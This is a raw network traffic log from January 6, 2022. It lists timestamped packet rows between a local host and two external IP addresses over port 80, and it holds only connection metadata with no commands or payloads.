Jan 6, 2022 21:05:02.478072882 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478110075 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478164911 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478167057 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478219986 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478264093 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478276968 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478329897 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478374958 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478390932 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478446007 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478498936 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478534937 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478554964 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478610039 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478667021 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478689909 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478702068 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478723049 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478776932 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478796005 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.478832006 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478957891 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.524013996 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.524044991 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.524068117 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.524094105 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.524180889 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.524236917 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.582782030 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.582830906 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.582907915 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.582911015 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.582947969 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.582988977 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583041906 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583060026 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583110094 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583148003 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583168030 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583188057 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583220005 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583228111 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583285093 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583302975 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583350897 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583381891 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583420038 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583424091 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583458900 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583475113 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583498955 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583535910 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583574057 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583586931 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583611965 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583651066 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583673954 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583688021 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583709955 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583739996 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583776951 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583795071 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583816051 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583854914 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583878994 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.583894968 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.583945036 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584003925 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584069967 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584111929 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584148884 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584187984 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584201097 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584213018 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584270954 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584311962 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584341049 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584351063 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584389925 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584408045 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584472895 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584539890 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584603071 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584613085 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584652901 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584690094 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584728003 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584719896 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584749937 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584831953 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584891081 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.584898949 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584939003 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584976912 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.584991932 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.585016012 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585093975 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585134983 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585153103 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.585171938 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585211039 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585237026 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.585249901 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585267067 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.585294962 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585335970 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585377932 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.585391998 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.587412119 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.645734072 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.645785093 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.645822048 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.645863056 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.645890951 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.645904064 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.645942926 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.645944118 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.645983934 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646022081 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646068096 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646076918 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646099091 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646140099 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646179914 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646217108 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646229982 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646256924 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646295071 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646311045 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646333933 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646353006 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646375895 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646414995 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646428108 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646454096 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646493912 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646507978 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646532059 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646572113 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646611929 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646625042 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646651030 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646691084 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646727085 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646748066 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646759033 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646765947 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646805048 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646826982 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646841049 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646879911 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646903992 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.646927118 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.646965981 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647005081 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647030115 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647042990 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647083998 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647094965 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647125959 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647140026 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647162914 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647202015 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647214890 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647241116 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647279024 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647310019 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647319078 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647360086 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647382021 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647398949 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647430897 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647454977 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647470951 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647510052 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647546053 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647548914 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647587061 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647602081 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647627115 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647664070 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647701979 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647715092 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647739887 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647778034 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647800922 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647814989 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647839069 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647854090 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647892952 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647926092 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.647933006 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.647970915 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648009062 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648030996 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.648046970 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648086071 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648101091 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.648123980 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648139000 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.648163080 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648201942 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648224115 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.648241043 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648278952 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648317099 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648339033 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.648359060 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648370981 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.648399115 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648437977 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648452044 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.648475885 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648515940 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.648530960 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653084993 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653129101 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653168917 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653207064 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653206110 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653245926 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653259039 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653301954 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653343916 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653376102 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653393984 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653414011 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653414011 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653453112 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653465986 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653491020 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653529882 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653568983 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653583050 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653605938 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653618097 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653644085 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653682947 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653718948 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653733015 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653757095 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653772116 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653795004 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653835058 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653840065 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653875113 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653912067 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653924942 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.653951883 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.653991938 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.654042006 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.659554005 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659588099 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659615993 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659645081 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659657955 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.659674883 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659692049 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.659704924 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659733057 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659758091 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.659760952 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659770966 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.659790993 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659817934 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659832954 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.659838915 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.659890890 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.660043001 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.839262009 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:03.724009037 CET	80	49861	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:03.724153996 CET	49861	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.437756062 CET	49861	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.438829899 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.497178078 CET	80	49861	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.497603893 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.498677015 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.500634909 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.559609890 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560116053 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560146093 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560267925 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.560538054 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560565948 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560590029 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560599089 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.560614109 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560617924 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.560637951 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.560641050 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560655117 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.560667992 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560702085 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560723066 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.560738087 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.560770988 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.560806990 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619322062 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619352102 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619373083 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619395971 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619429111 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619445086 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619452000 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619476080 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619482994 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619489908 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619494915 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619501114 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619509935 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619544029 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619555950 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619569063 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619594097 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619601965 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619611025 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619616985 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619617939 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619636059 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619654894 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619673014 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619689941 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619704962 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619720936 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619736910 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619760990 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.619775057 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619808912 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.619895935 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.632981062 CET	49867	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:04.678750038 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.678803921 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.678845882 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.678885937 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.678894997 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.678927898 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.678929090 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.678952932 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.678970098 CET	80	49866	185.7.214.239	192.168.2.4
